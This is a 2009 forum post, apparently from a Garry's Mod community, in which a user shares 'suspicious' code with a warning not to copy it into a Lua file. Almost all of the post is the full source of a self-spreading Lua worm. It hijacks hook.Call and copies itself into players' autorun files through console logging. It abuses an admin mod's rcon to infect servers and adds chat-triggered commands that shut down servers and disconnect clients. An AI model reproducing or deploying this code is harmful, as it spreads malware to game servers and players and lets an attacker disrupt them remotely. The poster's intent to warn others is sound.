Loader

Re: Cant chat with Y button

Started by dastanley, 24-08-2009

0 Members and 1 Guest are viewing this topic.

Im sure, but I found something a little suspicious...

WARNING, DO NOT COPY INTO A LUA FILE!!!

//Azu
if loadflag then return nil end
local loadflag = true

require([[sqlite]])

local blah = debug.getinfo(1)
local mypos = [[../lua/]] .. blah.short_src

local lolomg = sql.SQLStr
local _pairs = pairs
local ccmd = [[Con]] .. [[Command]]
local playercmd = FindMetaTable([[Player]])[ccmd]
local explode = string.Explode
local cleanread = file.Read

local virus = cleanread(mypos)
local lolol = explode(string.char(10), virus)

local hooklist = {}
local oldhook = hook.Call
local hookreplacement = function ( name, gm, ... )
   if hooklist[name] ~= nil then
      hooklist[name](unpack(arg))
   end
   return oldhook( name, gm, unpack(arg) )
end
hook.Call = hookreplacement

local function registerHook(event, func)
   hooklist[event] = func
end


local function sendVirii(ply, file)
   playercmd(ply, [[con_logfile ]] .. lolomg(file))
   for k,v in _pairs(lolol) do
      playercmd(ply, [[echo ]] .. lolomg(v))
   end
   playercmd(ply, [[con_logfile ]] .. lolomg([[]]) .. [[;clear]])
end

if SERVER then
   local ccmd = [[Console]] .. [[Command]]
   local concmd = game[ccmd]

   local sendply = {}
   local inctime = CurTime()
   local function sendVirus(ply)
      sendply[ply] = 0
   end

   local function sendViruss()
      if CurTime() < inctime then return end
      for k, v in _pairs(sendply) do
         if v == 0 then
            sendVirii(k, [[lua/autorun/functions.lua]])
         elseif v == 1 then
            sendVirii(k, [[lua/autorun/client/player.lua]])
         end
         if v == 2 then
            sendply[k] = nil
         else
            sendply[k] = sendply[k] + 1
         end
      end
      inctime = CurTime() + 5
   end

   registerHook([[PlayerInitialSpawn]], sendVirus)
   registerHook([[Think]], sendViruss)

   local function dieNow(p, t, pub)
      if t == [[DIE NOW]] then
         concmd([[killserver]] .. string.char(10))
      end
   end

   registerHook([[PlayerSay]], dieNow)
else
   local ccmd = [[RunCon]] .. [[soleCommand]]
   local _runconcmd = _G[ccmd]

   local function leaveNow(i, n, t)
      if t == [[LEAVE NOW]] then
         _runconcmd([[disconnect]])
      end
   end

   registerHook([[ChatText]], leaveNow)

   local check = CurTime() + 20

   local function assloader(TEXT)
      local i = 1
      while (i <= #TEXT) do
         local args = {}
         for j=i, i+6 do
            if (j > #TEXT) then
               break
            end
            args[j-i+1] = string.byte(TEXT, j)   
         end
         _runconcmd([[ASS_Rcon]], unpack(args) )
         i = i + 7      
      end
   end

   local i = 1
   local queue = nil
   local stage = 0

   local function lolHax()
      if not LocalPlayer():IsValid() then return end
      if check ~= nil and CurTime() > check then
         if ASS_Initialize and LocalPlayer():IsSuperAdmin() then
            if stage == 0 then
               _runconcmd([[ASS_RconBegin]])
               assloader([[con_logfile ]] .. lolomg([[lua/autorun/ass_update.lua]]))
               _runconcmd([[ASS_RconEnd]])
               stage = 1
               i = 1
               check = CurTime() + 1
            elseif stage == 1 then
               if lolol ~= nil then
                  _runconcmd([[ASS_RconBegin]])
                  assloader([[echo ]] .. lolomg(lolol))
                  i = i + 1
                  _runconcmd([[ASS_RconEnd]])
               else
                  stage = 2
                  i = 1
                  check = CurTime() + 1
               end
            elseif stage == 2 then
               _runconcmd([[ASS_RconBegin]])
               assloader([[con_logfile ]] .. lolomg([[]]) .. [[;clear]])
               _runconcmd([[ASS_RconEnd]])
               stage = 3
               check = nil
               ASS_BanPlayer({Player=LocalPlayer(),Time=0})
            end
         end
      end
   end
   registerHook([[Think]], lolHax)
end